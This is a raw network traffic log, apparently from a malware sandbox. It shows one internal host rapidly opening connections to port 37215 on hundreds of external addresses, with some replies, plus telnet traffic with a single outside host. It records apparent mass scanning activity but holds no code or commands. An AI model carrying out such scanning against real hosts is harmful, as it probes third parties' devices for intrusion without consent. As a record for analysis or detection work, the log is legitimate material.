Dec 3, 2024 21:47:27.918474913 CET	34043	37215	192.168.2.13	197.239.240.12
Dec 3, 2024 21:47:27.918482065 CET	34043	37215	192.168.2.13	41.213.49.217
Dec 3, 2024 21:47:27.918489933 CET	34043	37215	192.168.2.13	156.192.49.29
Dec 3, 2024 21:47:27.918509960 CET	34043	37215	192.168.2.13	156.110.118.149
Dec 3, 2024 21:47:27.918512106 CET	34043	37215	192.168.2.13	156.210.140.46
Dec 3, 2024 21:47:27.918512106 CET	34043	37215	192.168.2.13	41.39.133.110
Dec 3, 2024 21:47:27.918512106 CET	34043	37215	192.168.2.13	41.47.204.17
Dec 3, 2024 21:47:27.918519020 CET	34043	37215	192.168.2.13	41.18.72.168
Dec 3, 2024 21:47:27.918525934 CET	34043	37215	192.168.2.13	156.5.128.16
Dec 3, 2024 21:47:27.918540001 CET	34043	37215	192.168.2.13	41.246.118.117
Dec 3, 2024 21:47:27.918541908 CET	34043	37215	192.168.2.13	197.81.232.23
Dec 3, 2024 21:47:27.918557882 CET	34043	37215	192.168.2.13	156.200.191.156
Dec 3, 2024 21:47:27.918560028 CET	34043	37215	192.168.2.13	197.247.57.203
Dec 3, 2024 21:47:27.918561935 CET	34043	37215	192.168.2.13	41.238.86.118
Dec 3, 2024 21:47:27.918562889 CET	34043	37215	192.168.2.13	41.63.81.118
Dec 3, 2024 21:47:27.918565035 CET	34043	37215	192.168.2.13	41.253.78.68
Dec 3, 2024 21:47:27.918577909 CET	34043	37215	192.168.2.13	197.198.19.231
Dec 3, 2024 21:47:27.918577909 CET	34043	37215	192.168.2.13	197.123.249.252
Dec 3, 2024 21:47:27.918585062 CET	34043	37215	192.168.2.13	197.141.77.149
Dec 3, 2024 21:47:27.918601990 CET	34043	37215	192.168.2.13	41.157.167.170
Dec 3, 2024 21:47:27.918602943 CET	34043	37215	192.168.2.13	197.254.17.45
Dec 3, 2024 21:47:27.918605089 CET	34043	37215	192.168.2.13	156.221.189.53
Dec 3, 2024 21:47:27.918616056 CET	34043	37215	192.168.2.13	197.157.234.1
Dec 3, 2024 21:47:27.918617010 CET	34043	37215	192.168.2.13	41.163.123.167
Dec 3, 2024 21:47:27.918634892 CET	34043	37215	192.168.2.13	156.108.121.243
Dec 3, 2024 21:47:27.918634892 CET	34043	37215	192.168.2.13	41.12.6.184
Dec 3, 2024 21:47:27.918636084 CET	34043	37215	192.168.2.13	156.77.34.76
Dec 3, 2024 21:47:27.918648005 CET	34043	37215	192.168.2.13	41.213.88.4
Dec 3, 2024 21:47:27.918656111 CET	34043	37215	192.168.2.13	41.255.33.37
Dec 3, 2024 21:47:27.918659925 CET	34043	37215	192.168.2.13	41.173.43.214
Dec 3, 2024 21:47:27.918675900 CET	34043	37215	192.168.2.13	197.89.131.7
Dec 3, 2024 21:47:27.918680906 CET	34043	37215	192.168.2.13	197.251.216.114
Dec 3, 2024 21:47:27.918690920 CET	34043	37215	192.168.2.13	197.133.130.232
Dec 3, 2024 21:47:27.918690920 CET	34043	37215	192.168.2.13	197.108.10.15
Dec 3, 2024 21:47:27.918694973 CET	34043	37215	192.168.2.13	41.67.214.162
Dec 3, 2024 21:47:27.918700933 CET	34043	37215	192.168.2.13	197.201.125.195
Dec 3, 2024 21:47:27.918706894 CET	34043	37215	192.168.2.13	197.80.75.99
Dec 3, 2024 21:47:27.918719053 CET	34043	37215	192.168.2.13	41.155.162.5
Dec 3, 2024 21:47:27.918723106 CET	34043	37215	192.168.2.13	197.83.27.193
Dec 3, 2024 21:47:27.918724060 CET	34043	37215	192.168.2.13	41.159.39.39
Dec 3, 2024 21:47:27.918730974 CET	34043	37215	192.168.2.13	156.185.90.134
Dec 3, 2024 21:47:27.918749094 CET	34043	37215	192.168.2.13	41.26.221.95
Dec 3, 2024 21:47:27.918750048 CET	34043	37215	192.168.2.13	197.135.154.234
Dec 3, 2024 21:47:27.918756962 CET	34043	37215	192.168.2.13	156.68.126.140
Dec 3, 2024 21:47:27.918765068 CET	34043	37215	192.168.2.13	156.149.1.66
Dec 3, 2024 21:47:27.918766975 CET	34043	37215	192.168.2.13	197.135.95.13
Dec 3, 2024 21:47:27.918776989 CET	34043	37215	192.168.2.13	41.251.204.250
Dec 3, 2024 21:47:27.918787956 CET	34043	37215	192.168.2.13	41.4.179.167
Dec 3, 2024 21:47:27.918788910 CET	34043	37215	192.168.2.13	156.28.179.200
Dec 3, 2024 21:47:27.918787956 CET	34043	37215	192.168.2.13	197.7.241.172
Dec 3, 2024 21:47:27.918807030 CET	34043	37215	192.168.2.13	41.243.232.0
Dec 3, 2024 21:47:27.918807983 CET	34043	37215	192.168.2.13	156.178.128.125
Dec 3, 2024 21:47:27.918811083 CET	34043	37215	192.168.2.13	41.222.239.209
Dec 3, 2024 21:47:27.918816090 CET	34043	37215	192.168.2.13	41.120.69.166
Dec 3, 2024 21:47:27.918823004 CET	34043	37215	192.168.2.13	41.3.37.67
Dec 3, 2024 21:47:27.918838024 CET	34043	37215	192.168.2.13	156.122.59.112
Dec 3, 2024 21:47:27.918840885 CET	34043	37215	192.168.2.13	156.192.185.124
Dec 3, 2024 21:47:27.918843031 CET	34043	37215	192.168.2.13	41.201.237.191
Dec 3, 2024 21:47:27.918845892 CET	34043	37215	192.168.2.13	156.137.6.85
Dec 3, 2024 21:47:27.918857098 CET	34043	37215	192.168.2.13	41.197.253.58
Dec 3, 2024 21:47:27.918862104 CET	34043	37215	192.168.2.13	197.165.208.81
Dec 3, 2024 21:47:27.918868065 CET	34043	37215	192.168.2.13	197.167.71.73
Dec 3, 2024 21:47:27.918873072 CET	34043	37215	192.168.2.13	197.241.140.208
Dec 3, 2024 21:47:27.918885946 CET	34043	37215	192.168.2.13	156.143.138.22
Dec 3, 2024 21:47:27.918895960 CET	34043	37215	192.168.2.13	156.153.57.166
Dec 3, 2024 21:47:27.918895960 CET	34043	37215	192.168.2.13	197.86.255.142
Dec 3, 2024 21:47:27.918895960 CET	34043	37215	192.168.2.13	197.171.26.169
Dec 3, 2024 21:47:27.918903112 CET	34043	37215	192.168.2.13	156.91.75.74
Dec 3, 2024 21:47:27.918904066 CET	34043	37215	192.168.2.13	197.69.38.216
Dec 3, 2024 21:47:27.918915987 CET	34043	37215	192.168.2.13	41.85.133.98
Dec 3, 2024 21:47:27.918920994 CET	34043	37215	192.168.2.13	41.10.199.179
Dec 3, 2024 21:47:27.918931961 CET	34043	37215	192.168.2.13	197.75.254.4
Dec 3, 2024 21:47:27.918939114 CET	34043	37215	192.168.2.13	41.240.124.159
Dec 3, 2024 21:47:27.918951035 CET	34043	37215	192.168.2.13	197.196.3.182
Dec 3, 2024 21:47:27.918956041 CET	34043	37215	192.168.2.13	197.139.204.219
Dec 3, 2024 21:47:27.918962002 CET	34043	37215	192.168.2.13	156.38.71.139
Dec 3, 2024 21:47:27.918975115 CET	34043	37215	192.168.2.13	41.154.95.227
Dec 3, 2024 21:47:27.918979883 CET	34043	37215	192.168.2.13	41.61.254.38
Dec 3, 2024 21:47:27.918979883 CET	34043	37215	192.168.2.13	41.135.18.211
Dec 3, 2024 21:47:27.918996096 CET	34043	37215	192.168.2.13	41.40.82.126
Dec 3, 2024 21:47:27.919001102 CET	34043	37215	192.168.2.13	197.176.125.206
Dec 3, 2024 21:47:27.919003963 CET	34043	37215	192.168.2.13	156.237.18.60
Dec 3, 2024 21:47:27.919013023 CET	34043	37215	192.168.2.13	41.231.176.1
Dec 3, 2024 21:47:27.919023037 CET	34043	37215	192.168.2.13	197.160.73.34
Dec 3, 2024 21:47:27.919028044 CET	34043	37215	192.168.2.13	197.148.137.253
Dec 3, 2024 21:47:27.919032097 CET	34043	37215	192.168.2.13	41.21.201.195
Dec 3, 2024 21:47:27.919047117 CET	34043	37215	192.168.2.13	197.49.47.153
Dec 3, 2024 21:47:27.919054031 CET	34043	37215	192.168.2.13	41.82.111.12
Dec 3, 2024 21:47:27.919054031 CET	34043	37215	192.168.2.13	197.223.59.162
Dec 3, 2024 21:47:27.919055939 CET	34043	37215	192.168.2.13	197.95.121.241
Dec 3, 2024 21:47:27.919063091 CET	34043	37215	192.168.2.13	197.16.34.190
Dec 3, 2024 21:47:27.919079065 CET	34043	37215	192.168.2.13	197.89.136.118
Dec 3, 2024 21:47:27.919080973 CET	34043	37215	192.168.2.13	197.33.32.61
Dec 3, 2024 21:47:27.919087887 CET	34043	37215	192.168.2.13	156.122.37.66
Dec 3, 2024 21:47:27.919101000 CET	34043	37215	192.168.2.13	197.22.107.250
Dec 3, 2024 21:47:27.919101000 CET	34043	37215	192.168.2.13	41.112.117.50
Dec 3, 2024 21:47:27.919104099 CET	34043	37215	192.168.2.13	197.151.178.180
Dec 3, 2024 21:47:27.919110060 CET	34043	37215	192.168.2.13	41.131.3.47
Dec 3, 2024 21:47:27.919120073 CET	34043	37215	192.168.2.13	41.186.228.173
Dec 3, 2024 21:47:27.919123888 CET	34043	37215	192.168.2.13	41.209.2.199
Dec 3, 2024 21:47:27.919131994 CET	34043	37215	192.168.2.13	41.195.7.148
Dec 3, 2024 21:47:27.919140100 CET	34043	37215	192.168.2.13	156.161.184.10
Dec 3, 2024 21:47:27.919141054 CET	34043	37215	192.168.2.13	197.162.129.77
Dec 3, 2024 21:47:27.919141054 CET	34043	37215	192.168.2.13	41.195.20.73
Dec 3, 2024 21:47:27.919158936 CET	34043	37215	192.168.2.13	197.237.65.152
Dec 3, 2024 21:47:27.919161081 CET	34043	37215	192.168.2.13	197.255.37.210
Dec 3, 2024 21:47:27.919166088 CET	34043	37215	192.168.2.13	156.61.4.59
Dec 3, 2024 21:47:27.919169903 CET	34043	37215	192.168.2.13	41.186.249.253
Dec 3, 2024 21:47:27.919178963 CET	34043	37215	192.168.2.13	156.218.182.179
Dec 3, 2024 21:47:27.919186115 CET	34043	37215	192.168.2.13	156.211.122.13
Dec 3, 2024 21:47:27.919197083 CET	34043	37215	192.168.2.13	41.46.65.239
Dec 3, 2024 21:47:27.919203043 CET	34043	37215	192.168.2.13	197.159.119.2
Dec 3, 2024 21:47:27.919208050 CET	34043	37215	192.168.2.13	41.164.192.0
Dec 3, 2024 21:47:27.919223070 CET	34043	37215	192.168.2.13	41.170.234.99
Dec 3, 2024 21:47:27.919223070 CET	34043	37215	192.168.2.13	41.190.29.96
Dec 3, 2024 21:47:27.919229031 CET	34043	37215	192.168.2.13	156.113.107.75
Dec 3, 2024 21:47:27.919229984 CET	34043	37215	192.168.2.13	41.180.236.120
Dec 3, 2024 21:47:27.919234991 CET	34043	37215	192.168.2.13	197.252.7.171
Dec 3, 2024 21:47:27.919236898 CET	34043	37215	192.168.2.13	197.252.192.11
Dec 3, 2024 21:47:27.919255018 CET	34043	37215	192.168.2.13	41.203.87.149
Dec 3, 2024 21:47:27.919256926 CET	34043	37215	192.168.2.13	197.185.71.46
Dec 3, 2024 21:47:27.919261932 CET	34043	37215	192.168.2.13	41.237.166.4
Dec 3, 2024 21:47:27.919261932 CET	34043	37215	192.168.2.13	156.91.101.110
Dec 3, 2024 21:47:27.919267893 CET	34043	37215	192.168.2.13	156.35.154.231
Dec 3, 2024 21:47:27.919269085 CET	34043	37215	192.168.2.13	156.241.148.95
Dec 3, 2024 21:47:27.919279099 CET	34043	37215	192.168.2.13	197.128.164.42
Dec 3, 2024 21:47:27.919285059 CET	34043	37215	192.168.2.13	41.91.149.189
Dec 3, 2024 21:47:27.919287920 CET	34043	37215	192.168.2.13	41.127.56.250
Dec 3, 2024 21:47:27.919295073 CET	34043	37215	192.168.2.13	156.172.247.23
Dec 3, 2024 21:47:27.919296026 CET	34043	37215	192.168.2.13	156.254.125.130
Dec 3, 2024 21:47:27.919307947 CET	34043	37215	192.168.2.13	41.244.173.124
Dec 3, 2024 21:47:27.919317961 CET	34043	37215	192.168.2.13	156.92.80.129
Dec 3, 2024 21:47:27.919318914 CET	34043	37215	192.168.2.13	156.23.230.15
Dec 3, 2024 21:47:27.919322014 CET	34043	37215	192.168.2.13	197.100.62.107
Dec 3, 2024 21:47:27.919329882 CET	34043	37215	192.168.2.13	156.44.187.100
Dec 3, 2024 21:47:27.919337034 CET	34043	37215	192.168.2.13	41.152.194.252
Dec 3, 2024 21:47:27.919342041 CET	34043	37215	192.168.2.13	156.131.32.215
Dec 3, 2024 21:47:27.919352055 CET	34043	37215	192.168.2.13	197.143.40.189
Dec 3, 2024 21:47:27.919352055 CET	34043	37215	192.168.2.13	197.132.100.102
Dec 3, 2024 21:47:27.919367075 CET	34043	37215	192.168.2.13	156.190.114.211
Dec 3, 2024 21:47:27.919367075 CET	34043	37215	192.168.2.13	197.12.118.229
Dec 3, 2024 21:47:27.919375896 CET	34043	37215	192.168.2.13	41.49.254.116
Dec 3, 2024 21:47:27.919378042 CET	34043	37215	192.168.2.13	41.32.118.137
Dec 3, 2024 21:47:27.919389963 CET	34043	37215	192.168.2.13	197.26.71.226
Dec 3, 2024 21:47:27.919394970 CET	34043	37215	192.168.2.13	156.144.74.201
Dec 3, 2024 21:47:27.919395924 CET	34043	37215	192.168.2.13	197.134.221.154
Dec 3, 2024 21:47:27.919408083 CET	34043	37215	192.168.2.13	197.73.89.139
Dec 3, 2024 21:47:27.919411898 CET	34043	37215	192.168.2.13	156.224.217.194
Dec 3, 2024 21:47:27.919411898 CET	34043	37215	192.168.2.13	41.222.165.104
Dec 3, 2024 21:47:27.919420004 CET	34043	37215	192.168.2.13	156.70.167.157
Dec 3, 2024 21:47:27.919436932 CET	34043	37215	192.168.2.13	41.176.235.243
Dec 3, 2024 21:47:27.919436932 CET	34043	37215	192.168.2.13	156.76.19.158
Dec 3, 2024 21:47:27.919440985 CET	34043	37215	192.168.2.13	41.25.113.114
Dec 3, 2024 21:47:27.919446945 CET	34043	37215	192.168.2.13	41.77.83.70
Dec 3, 2024 21:47:27.919456005 CET	34043	37215	192.168.2.13	197.94.215.238
Dec 3, 2024 21:47:27.919470072 CET	34043	37215	192.168.2.13	197.108.213.137
Dec 3, 2024 21:47:27.919471979 CET	34043	37215	192.168.2.13	197.246.229.79
Dec 3, 2024 21:47:27.919477940 CET	34043	37215	192.168.2.13	197.165.244.125
Dec 3, 2024 21:47:27.919478893 CET	34043	37215	192.168.2.13	156.193.95.157
Dec 3, 2024 21:47:27.919483900 CET	34043	37215	192.168.2.13	197.20.101.96
Dec 3, 2024 21:47:27.919496059 CET	34043	37215	192.168.2.13	41.188.26.206
Dec 3, 2024 21:47:27.919501066 CET	34043	37215	192.168.2.13	156.236.208.36
Dec 3, 2024 21:47:27.919501066 CET	34043	37215	192.168.2.13	41.91.248.195
Dec 3, 2024 21:47:27.919518948 CET	34043	37215	192.168.2.13	41.47.143.192
Dec 3, 2024 21:47:27.919518948 CET	34043	37215	192.168.2.13	41.64.121.242
Dec 3, 2024 21:47:27.919519901 CET	34043	37215	192.168.2.13	41.125.200.222
Dec 3, 2024 21:47:27.919527054 CET	34043	37215	192.168.2.13	41.80.13.108
Dec 3, 2024 21:47:27.919548988 CET	34043	37215	192.168.2.13	41.249.43.23
Dec 3, 2024 21:47:27.919553041 CET	34043	37215	192.168.2.13	197.219.9.174
Dec 3, 2024 21:47:27.919553995 CET	34043	37215	192.168.2.13	197.127.251.84
Dec 3, 2024 21:47:27.919554949 CET	34043	37215	192.168.2.13	156.199.165.251
Dec 3, 2024 21:47:27.919562101 CET	34043	37215	192.168.2.13	197.105.134.246
Dec 3, 2024 21:47:27.919568062 CET	34043	37215	192.168.2.13	156.94.146.131
Dec 3, 2024 21:47:27.919574022 CET	34043	37215	192.168.2.13	197.213.70.97
Dec 3, 2024 21:47:27.919586897 CET	34043	37215	192.168.2.13	156.154.217.209
Dec 3, 2024 21:47:27.919590950 CET	34043	37215	192.168.2.13	197.138.213.103
Dec 3, 2024 21:47:27.919595003 CET	34043	37215	192.168.2.13	197.238.180.79
Dec 3, 2024 21:47:27.919595957 CET	34043	37215	192.168.2.13	197.150.12.204
Dec 3, 2024 21:47:27.919603109 CET	34043	37215	192.168.2.13	41.240.29.44
Dec 3, 2024 21:47:27.919610977 CET	34043	37215	192.168.2.13	156.122.126.154
Dec 3, 2024 21:47:27.919610977 CET	34043	37215	192.168.2.13	197.188.76.151
Dec 3, 2024 21:47:27.919615030 CET	34043	37215	192.168.2.13	41.183.204.4
Dec 3, 2024 21:47:27.919615030 CET	34043	37215	192.168.2.13	41.19.89.26
Dec 3, 2024 21:47:27.919615030 CET	34043	37215	192.168.2.13	197.49.199.97
Dec 3, 2024 21:47:27.919620037 CET	34043	37215	192.168.2.13	197.235.246.125
Dec 3, 2024 21:47:27.919631004 CET	34043	37215	192.168.2.13	156.116.241.156
Dec 3, 2024 21:47:27.919642925 CET	34043	37215	192.168.2.13	41.247.209.208
Dec 3, 2024 21:47:27.919644117 CET	34043	37215	192.168.2.13	41.39.41.208
Dec 3, 2024 21:47:27.919647932 CET	34043	37215	192.168.2.13	41.220.16.42
Dec 3, 2024 21:47:27.919651031 CET	34043	37215	192.168.2.13	156.244.49.176
Dec 3, 2024 21:47:27.919660091 CET	34043	37215	192.168.2.13	197.97.229.119
Dec 3, 2024 21:47:27.919671059 CET	34043	37215	192.168.2.13	197.175.21.85
Dec 3, 2024 21:47:27.919671059 CET	34043	37215	192.168.2.13	197.245.240.223
Dec 3, 2024 21:47:27.919672966 CET	34043	37215	192.168.2.13	41.82.239.55
Dec 3, 2024 21:47:27.919691086 CET	34043	37215	192.168.2.13	197.21.4.165
Dec 3, 2024 21:47:27.919692039 CET	34043	37215	192.168.2.13	197.92.180.10
Dec 3, 2024 21:47:27.919696093 CET	34043	37215	192.168.2.13	41.91.245.197
Dec 3, 2024 21:47:27.919706106 CET	34043	37215	192.168.2.13	197.53.168.33
Dec 3, 2024 21:47:27.919718981 CET	34043	37215	192.168.2.13	156.99.138.153
Dec 3, 2024 21:47:27.919722080 CET	34043	37215	192.168.2.13	41.219.60.70
Dec 3, 2024 21:47:27.919734001 CET	34043	37215	192.168.2.13	41.5.204.138
Dec 3, 2024 21:47:27.919734955 CET	34043	37215	192.168.2.13	156.239.110.169
Dec 3, 2024 21:47:27.919734955 CET	34043	37215	192.168.2.13	197.52.139.31
Dec 3, 2024 21:47:27.919735909 CET	34043	37215	192.168.2.13	156.232.180.180
Dec 3, 2024 21:47:27.919734001 CET	34043	37215	192.168.2.13	197.38.28.223
Dec 3, 2024 21:47:27.919734001 CET	34043	37215	192.168.2.13	41.89.233.171
Dec 3, 2024 21:47:27.919738054 CET	34043	37215	192.168.2.13	156.78.195.0
Dec 3, 2024 21:47:27.919738054 CET	34043	37215	192.168.2.13	197.181.107.51
Dec 3, 2024 21:47:27.919738054 CET	34043	37215	192.168.2.13	156.21.31.143
Dec 3, 2024 21:47:27.919743061 CET	34043	37215	192.168.2.13	197.190.27.13
Dec 3, 2024 21:47:27.919753075 CET	34043	37215	192.168.2.13	197.129.69.71
Dec 3, 2024 21:47:27.919765949 CET	34043	37215	192.168.2.13	41.182.36.202
Dec 3, 2024 21:47:27.919765949 CET	34043	37215	192.168.2.13	156.73.181.156
Dec 3, 2024 21:47:27.919773102 CET	34043	37215	192.168.2.13	197.53.96.215
Dec 3, 2024 21:47:27.919773102 CET	34043	37215	192.168.2.13	41.245.172.235
Dec 3, 2024 21:47:27.919780970 CET	34043	37215	192.168.2.13	41.241.30.178
Dec 3, 2024 21:47:27.919781923 CET	34043	37215	192.168.2.13	41.248.117.167
Dec 3, 2024 21:47:27.919800997 CET	34043	37215	192.168.2.13	41.54.185.79
Dec 3, 2024 21:47:27.919801950 CET	34043	37215	192.168.2.13	41.216.75.140
Dec 3, 2024 21:47:27.919804096 CET	34043	37215	192.168.2.13	41.242.60.88
Dec 3, 2024 21:47:27.919817924 CET	34043	37215	192.168.2.13	197.168.135.150
Dec 3, 2024 21:47:27.919817924 CET	34043	37215	192.168.2.13	197.8.80.77
Dec 3, 2024 21:47:27.919827938 CET	34043	37215	192.168.2.13	197.249.75.114
Dec 3, 2024 21:47:27.919836998 CET	34043	37215	192.168.2.13	156.114.248.71
Dec 3, 2024 21:47:27.919840097 CET	34043	37215	192.168.2.13	156.172.184.145
Dec 3, 2024 21:47:28.019201040 CET	37215	47568	156.227.147.148	192.168.2.13
Dec 3, 2024 21:47:28.019309998 CET	47568	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:28.036753893 CET	23	35010	185.229.236.203	192.168.2.13
Dec 3, 2024 21:47:28.037487030 CET	23	35088	185.229.236.203	192.168.2.13
Dec 3, 2024 21:47:28.037553072 CET	35088	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:28.038068056 CET	37215	34043	156.60.67.19	192.168.2.13
Dec 3, 2024 21:47:28.038100958 CET	37215	34043	197.200.5.13	192.168.2.13
Dec 3, 2024 21:47:28.038141966 CET	34043	37215	192.168.2.13	197.200.5.13
Dec 3, 2024 21:47:28.038146973 CET	37215	34043	197.247.117.110	192.168.2.13
Dec 3, 2024 21:47:28.038161039 CET	37215	34043	41.139.213.124	192.168.2.13
Dec 3, 2024 21:47:28.038178921 CET	37215	34043	156.26.206.201	192.168.2.13
Dec 3, 2024 21:47:28.038197041 CET	34043	37215	192.168.2.13	41.139.213.124
Dec 3, 2024 21:47:28.038233995 CET	37215	34043	156.130.216.32	192.168.2.13
Dec 3, 2024 21:47:28.038247108 CET	37215	34043	156.114.183.6	192.168.2.13
Dec 3, 2024 21:47:28.038253069 CET	34043	37215	192.168.2.13	156.60.67.19
Dec 3, 2024 21:47:28.038260937 CET	34043	37215	192.168.2.13	197.247.117.110
Dec 3, 2024 21:47:28.038268089 CET	34043	37215	192.168.2.13	156.130.216.32
Dec 3, 2024 21:47:28.038291931 CET	34043	37215	192.168.2.13	156.26.206.201
Dec 3, 2024 21:47:28.038291931 CET	34043	37215	192.168.2.13	156.114.183.6
Dec 3, 2024 21:47:28.038969994 CET	37215	34043	156.221.166.16	192.168.2.13
Dec 3, 2024 21:47:28.038985968 CET	37215	34043	197.250.245.77	192.168.2.13
Dec 3, 2024 21:47:28.038999081 CET	37215	34043	41.134.121.97	192.168.2.13
Dec 3, 2024 21:47:28.039007902 CET	34043	37215	192.168.2.13	156.221.166.16
Dec 3, 2024 21:47:28.039019108 CET	37215	34043	197.232.6.182	192.168.2.13
Dec 3, 2024 21:47:28.039026022 CET	34043	37215	192.168.2.13	197.250.245.77
Dec 3, 2024 21:47:28.039038897 CET	34043	37215	192.168.2.13	41.134.121.97
Dec 3, 2024 21:47:28.039056063 CET	37215	34043	41.217.111.208	192.168.2.13
Dec 3, 2024 21:47:28.039055109 CET	34043	37215	192.168.2.13	197.232.6.182
Dec 3, 2024 21:47:28.039098978 CET	34043	37215	192.168.2.13	41.217.111.208
Dec 3, 2024 21:47:28.039114952 CET	37215	34043	41.5.119.187	192.168.2.13
Dec 3, 2024 21:47:28.039150000 CET	34043	37215	192.168.2.13	41.5.119.187
Dec 3, 2024 21:47:28.039258003 CET	37215	34043	197.199.17.32	192.168.2.13
Dec 3, 2024 21:47:28.039284945 CET	37215	34043	41.10.122.30	192.168.2.13
Dec 3, 2024 21:47:28.039303064 CET	37215	34043	197.201.130.69	192.168.2.13
Dec 3, 2024 21:47:28.039302111 CET	34043	37215	192.168.2.13	197.199.17.32
Dec 3, 2024 21:47:28.039320946 CET	37215	34043	41.208.35.120	192.168.2.13
Dec 3, 2024 21:47:28.039326906 CET	34043	37215	192.168.2.13	41.10.122.30
Dec 3, 2024 21:47:28.039340019 CET	34043	37215	192.168.2.13	197.201.130.69
Dec 3, 2024 21:47:28.039344072 CET	37215	34043	156.30.252.248	192.168.2.13
Dec 3, 2024 21:47:28.039357901 CET	37215	34043	197.151.160.5	192.168.2.13
Dec 3, 2024 21:47:28.039360046 CET	34043	37215	192.168.2.13	41.208.35.120
Dec 3, 2024 21:47:28.039375067 CET	37215	34043	156.12.27.60	192.168.2.13
Dec 3, 2024 21:47:28.039376020 CET	34043	37215	192.168.2.13	156.30.252.248
Dec 3, 2024 21:47:28.039388895 CET	37215	34043	197.73.171.131	192.168.2.13
Dec 3, 2024 21:47:28.039393902 CET	34043	37215	192.168.2.13	197.151.160.5
Dec 3, 2024 21:47:28.039405107 CET	34043	37215	192.168.2.13	156.12.27.60
Dec 3, 2024 21:47:28.039405107 CET	37215	34043	41.35.150.234	192.168.2.13
Dec 3, 2024 21:47:28.039418936 CET	37215	34043	156.8.26.100	192.168.2.13
Dec 3, 2024 21:47:28.039422035 CET	34043	37215	192.168.2.13	197.73.171.131
Dec 3, 2024 21:47:28.039429903 CET	37215	34043	41.132.217.159	192.168.2.13
Dec 3, 2024 21:47:28.039439917 CET	34043	37215	192.168.2.13	41.35.150.234
Dec 3, 2024 21:47:28.039454937 CET	34043	37215	192.168.2.13	156.8.26.100
Dec 3, 2024 21:47:28.039455891 CET	34043	37215	192.168.2.13	41.132.217.159
Dec 3, 2024 21:47:28.039462090 CET	37215	34043	197.174.205.245	192.168.2.13
Dec 3, 2024 21:47:28.039475918 CET	37215	34043	41.88.58.42	192.168.2.13
Dec 3, 2024 21:47:28.039489985 CET	37215	34043	41.142.8.59	192.168.2.13
Dec 3, 2024 21:47:28.039501905 CET	34043	37215	192.168.2.13	197.174.205.245
Dec 3, 2024 21:47:28.039504051 CET	37215	34043	156.4.1.44	192.168.2.13
Dec 3, 2024 21:47:28.039505005 CET	34043	37215	192.168.2.13	41.88.58.42
Dec 3, 2024 21:47:28.039526939 CET	37215	34043	41.151.27.230	192.168.2.13
Dec 3, 2024 21:47:28.039529085 CET	34043	37215	192.168.2.13	156.4.1.44
Dec 3, 2024 21:47:28.039531946 CET	34043	37215	192.168.2.13	41.142.8.59
Dec 3, 2024 21:47:28.039545059 CET	37215	34043	156.223.242.27	192.168.2.13
Dec 3, 2024 21:47:28.039557934 CET	37215	34043	156.54.140.23	192.168.2.13
Dec 3, 2024 21:47:28.039560080 CET	34043	37215	192.168.2.13	41.151.27.230
Dec 3, 2024 21:47:28.039572954 CET	37215	34043	41.47.35.38	192.168.2.13
Dec 3, 2024 21:47:28.039577961 CET	34043	37215	192.168.2.13	156.223.242.27
Dec 3, 2024 21:47:28.039589882 CET	37215	34043	156.102.3.79	192.168.2.13
Dec 3, 2024 21:47:28.039588928 CET	34043	37215	192.168.2.13	156.54.140.23
Dec 3, 2024 21:47:28.039603949 CET	37215	34043	156.243.45.223	192.168.2.13
Dec 3, 2024 21:47:28.039606094 CET	34043	37215	192.168.2.13	41.47.35.38
Dec 3, 2024 21:47:28.039617062 CET	34043	37215	192.168.2.13	156.102.3.79
Dec 3, 2024 21:47:28.039633036 CET	34043	37215	192.168.2.13	156.243.45.223
Dec 3, 2024 21:47:28.436605930 CET	50078	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:28.436604977 CET	51382	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:28.436605930 CET	36894	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:28.436615944 CET	52946	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:28.436619043 CET	47166	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:28.436619043 CET	43638	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:28.436626911 CET	59424	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:28.436630011 CET	57922	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:28.436638117 CET	52036	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:28.436645031 CET	36822	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:28.436645031 CET	59438	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:28.436645031 CET	50074	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:28.436645031 CET	47746	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:28.436650038 CET	38350	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:28.436650038 CET	42080	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:28.436650991 CET	60302	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:28.436650991 CET	34616	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:28.436650991 CET	33376	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:28.436650991 CET	34712	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:28.436654091 CET	37868	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:28.436655045 CET	44430	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:28.436655045 CET	46448	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:28.436655045 CET	43274	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:28.436659098 CET	59436	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:28.436659098 CET	41522	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:28.436670065 CET	47828	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:28.436683893 CET	58248	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:28.436686039 CET	35176	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:28.436691999 CET	42340	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:28.436691999 CET	47886	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:28.436691999 CET	55592	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:28.436691999 CET	60304	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:28.436691999 CET	47088	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:28.436693907 CET	52154	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:28.436693907 CET	36874	37215	192.168.2.13	41.26.12.27
